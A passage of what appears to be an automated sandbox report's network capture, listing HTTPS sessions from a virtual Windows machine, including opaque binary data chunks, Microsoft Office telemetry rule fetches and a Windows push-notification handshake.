17 cc 5a 6a 6b 3e da 8b ce a8 a4 92 8b 03 76 2c 79 95 13 49 55 26 9f Data Ascii: ~V.M5OZ}//w\^2\|IJu+_~eqXabI7z>y]lh:9#}TSGkg<~f67\-[SsJKcXmg-*o[IHkCnk%zgyY7U[xZF$lF.vtw/;Zjk>v,yIU&
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: ca 9b 6d e6 fb aa ec 3b f3 f7 ba f3 53 5f 68 7a f6 9b e1 fb 7d 6a 4d 36 ea 2b 3b a7 db 6f 71 fc 2e c3 8e 3f ef 96 03 fb dc e2 ba e4 93 df 46 65 14 d6 8b 63 4e 1b 9b 94 ba be db 1f 9a bb f6 ef 4f 9b e5 ff 00 80 d7 41 a3 ea 90 3e 94 91 cd 1f de 7a e5 f5 ab 5d 4f c3 df 64 92 e2 48 25 5d 5a d1 6e 52 64 f9 a2 75 3d 70 7a 31 05 79 a9 b4 db c8 3c b8 76 a7 ee ff 00 d8 fe 0a e5 b2 9f c3 aa 35 d6 2d 5c ed da 58 a2 f9 64 f9 f7 26 ed 94 b6 fa 84 4f 23 f9 df f2 cb e6 ff 00 80 d5 4d 3f 6d e5 ae d9 bc c5 db f3 27 e3 fc 55 97 a9 5b 7d 97 c4 1b 96 ef fd 52 2e c7 fe 1d dd f3 59 a8 a9 36 ba 95 cd a5 d9 73 52 d4 22 6f dd c7 1f 95 bb e6 7f bd f7 aa 19 35 88 13 e6 91 11 b6 fc a8 f5 9f aa 5e 33 5c 3b 4d 24 8d 1b 3b 6c 9b f8 5f 3d 48 fa 53 33 6d e7 dc 43 e5 c7 e6 6c 5f 2b fb bf Data Ascii: m;S_hz}jM6+;oq.?FecNOA>z]OdH%]ZnRdu=pz1y<v5-\Xd&O#M?m'U[}R.Y6sR"o5^3\;M$;l_=HS3mCl_+
2024-11-24 03:20:24 UTC	16067	IN	Data Raw: 16 4b e2 dd 0d 2e b5 88 ed 6c 2c d5 e3 5f b3 db a4 97 53 bc 8f f7 60 f9 36 ee cf 5c 6e 5f 7e 2a b6 a5 ae 5c de 6b 1a 7c 3a 7d a4 17 16 2a 9b 6e ee 2e e0 dd fb e1 92 9b a1 1f 71 b7 76 5a f3 69 2e fc 55 ad f8 e1 fc bd 4b 52 bf 9b 4d b8 65 9a ed 27 f9 7c b0 d8 e3 6f ca 9e d8 e6 99 e2 0b b9 75 0b 57 d2 f4 b8 24 d5 b5 24 bb 9a e6 6f b2 41 27 9e 9f 37 0c fb 78 50 33 fc 3f 8d 72 fd 71 b4 df f4 ce 87 46 c9 76 33 7c 6d 2d b6 9b 75 fd 83 6b 77 74 d1 ad df da 6e d1 df f7 1e 61 fe e2 0e 46 17 8e 72 6a ca cb 6c fe 2e 9a ea ce 08 d6 df ed 0d 2c 30 ff 00 ad 5d a5 77 63 2c 3e 6f c6 b0 6c 74 f9 ee bf d2 2f 24 93 77 9c ca ef bf 73 6e ad e6 b7 58 27 b7 b8 8e 38 f6 ca 8c ae 89 fd e1 c1 fc fa d7 87 5a 7c f7 69 76 3d 6c 3c 79 1a f3 45 1b cf 36 09 26 5f ef 3f dc aa 3a a3 c4 d0 Data Ascii: K.l,_S`6\n_~\k\|:}n.qvZi.UKRMe'\|ouW$$oA'7xP3?rqFv3\|m-ukwtnaFrjl.,0]wc,>olt/$wsnX'8Z\|iv=l<yE6&_?:
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: b2 f7 fa 5c 52 93 fe 4d cd 8f 0c f8 73 c3 50 6a b0 ea d6 b1 cf f2 dd ed b4 de fb bf 77 b7 d3 ba ff 00 5f a5 5c 85 2c ef 3c 4d f6 3f de 58 79 48 d7 2f 36 fd bb 23 1d bf 1f 97 8f 4e 2b 06 e2 f3 53 b1 8d 21 b7 bb 91 a4 b7 75 54 f9 fe 68 5b 6f dd 5c 7b 7e b5 53 56 d4 60 bf ba b4 f3 ae f6 c8 ae ac e9 32 6e f9 bf da f5 34 73 7b 59 3b 49 b5 b1 6e 3e ce 2a ea c6 be bd 73 6c d6 b3 46 d7 f1 ac db 17 7a 3d af f0 96 dd bf 3c 16 35 93 f6 88 16 7b 49 23 9e 3b 8b cb 54 fd ce c7 65 5e 5b f8 71 e9 ef 51 c9 1d f5 e5 d4 db 6d 24 96 1d 9e 54 ce 8f f7 e3 4f e1 fc 3f fa d5 0d c0 db 24 cd 67 69 f6 5f b5 24 6a f0 c3 f2 ae d4 c7 cd f5 fb b9 ab 85 d6 89 12 f9 1a 4c 7f db e7 69 22 dd 69 74 df 67 f9 bc eb 7f 9b a4 9b b1 52 db d9 ea 09 a9 26 97 1d de d9 b7 f9 ee 97 7f 2f fa cf a7 5e Data Ascii: \RMsPjw_\,<M?XyH/6#N+S!uTh[o\{~SV`2n4s{Y;In>*slFz=<5{I#;Te^[qQm$TO?$gi_$jLi"itgR&/^
2024-11-24 03:20:24 UTC	16384	IN	Data Raw: 4b 7f 9b e5 3f 36 ef 98 e3 f3 35 95 7a 54 a5 1e 48 ee cd 29 4a a4 55 e5 b1 ee 1e 1d d3 fc 51 f1 57 c1 5e 2c d6 a3 bb 92 df 4d b7 78 62 b4 48 60 8e 05 b9 bb 8f fd 5f 9a 23 55 5d c2 2e 32 8a bf 34 9e e6 b9 1f 0d e9 4d 06 9b 71 ac 78 c2 79 2d f4 d6 85 65 d3 91 e0 dd 75 7b f7 d1 63 83 8f bb f7 b7 49 8c 29 e7 ef 57 b6 fe cd 36 30 27 80 ed 3c 3b 79 ab 41 a6 dc 59 be e7 4f 3f cd b5 da ff 00 33 c9 2a 34 79 f3 37 79 78 1b 86 15 c7 fc 0b cc a1 d3 35 3f 16 f8 d3 fb 2f 5c d9 2d e7 da e6 5f b5 bc ea b6 70 c2 93 6d 94 a6 ee 1c 7f 75 53 f8 ff 00 1a f3 27 46 10 a4 94 34 57 77 f5 3a 68 d6 94 a6 db ec 60 e8 be 0b f1 2f fa ef 0c d8 5d 34 3a e5 a7 95 bd e0 ff 00 5d 19 ec 38 f9 1b 72 fc bf 77 23 eb 5d e7 c3 1f 01 78 ff 00 41 be b7 be d1 7c f9 6e ac 12 48 11 f4 9b a5 6f 9b 77 Data Ascii: K?65zTH)JUQW^,MxbH`_#U].24Mqxy-eu{cI)W60'<;yAYO?3*4y7yx5?/\-_pmuS'F4Ww:h`/]4:]8rw#]xA\|nHow

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.6	49741	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:23 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032024Z-174c587ffdf8fcgwhC1TEBnn7000000003wg00000000usxe x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.6	49740	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:23 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:24 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 6171fc9e-701e-000d-441c-3d6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032024Z-178bfbc474bgvl54hC1NYCsfuw00000005fg000000000kmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:24 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.6	49739	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:23 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 464f6e4e-101e-005a-3b0e-3e882b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032024Z-178bfbc474bq2pr7hC1NYCkfgg00000005m0000000004747 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.6	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:24 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:24 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: aff2abcc-f01e-0003-4547-3c4453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032024Z-178bfbc474b9fdhphC1NYCac0n00000005ag000000008xcq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:24 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.6	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:24 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:24 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:24 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 5b0f4dfe-c01e-00a1-3715-3d7e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032024Z-178bfbc474bnwsh4hC1NYC2ubs00000005cg00000000ggw1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:24 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.6	49745	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:24 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 6c 64 6c 70 63 42 79 41 46 6b 75 58 6d 34 36 72 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 64 36 61 36 30 36 30 35 35 32 38 65 37 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: ldlpcByAFkuXm46r.1Context: 56d6a60605528e7a
2024-11-24 03:20:24 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-24 03:20:24 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 6c 64 6c 70 63 42 79 41 46 6b 75 58 6d 34 36 72 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 64 36 61 36 30 36 30 35 35 32 38 65 37 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 4d 2f 57 6c 62 63 68 2f 38 42 74 32 7a 6b 72 33 4a 61 4a 34 4f 7a 7a 44 4a 64 6d 76 48 51 4d 62 57 7a 38 4f 4c 48 55 6f 4f 53 4a 59 55 77 63 7a 37 53 41 73 2b 69 34 74 76 6e 2f 63 50 76 6a 72 48 67 36 31 6f 37 78 2f 70 49 6a 37 63 49 6c 69 33 4f 53 78 66 6f 4e 7a 64 68 4f 7a 72 2b 4f 39 54 44 63 44 31 30 47 66 45 34 65 6a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: ldlpcByAFkuXm46r.2Context: 56d6a60605528e7a<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdM/Wlbch/8Bt2zkr3JaJ4OzzDJdmvHQMbWz8OLHUoOSJYUwcz7SAs+i4tvn/cPvjrHg61o7x/pIj7cIli3OSxfoNzdhOzr+O9TDcD10GfE4ej
2024-11-24 03:20:24 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 6c 64 6c 70 63 42 79 41 46 6b 75 58 6d 34 36 72 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 36 64 36 61 36 30 36 30 35 35 32 38 65 37 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: ldlpcByAFkuXm46r.3Context: 56d6a60605528e7a<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-24 03:20:25 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-24 03:20:25 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 37 62 4f 5a 58 77 38 53 6d 30 75 56 48 57 6c 67 41 4c 61 36 6b 51 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 7bOZXw8Sm0uVHWlgALa6kQ.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.6	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:26 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:26 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 9bf3f441-f01e-003f-246b-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032026Z-178bfbc474bbcwv4hC1NYCypys000000056g00000000cyey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:26 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:26 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:26 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:26 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 63e0f5a8-701e-0032-207a-3ba540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032026Z-174c587ffdfmlsmvhC1TEBvyks00000003z000000000em4v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:26 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
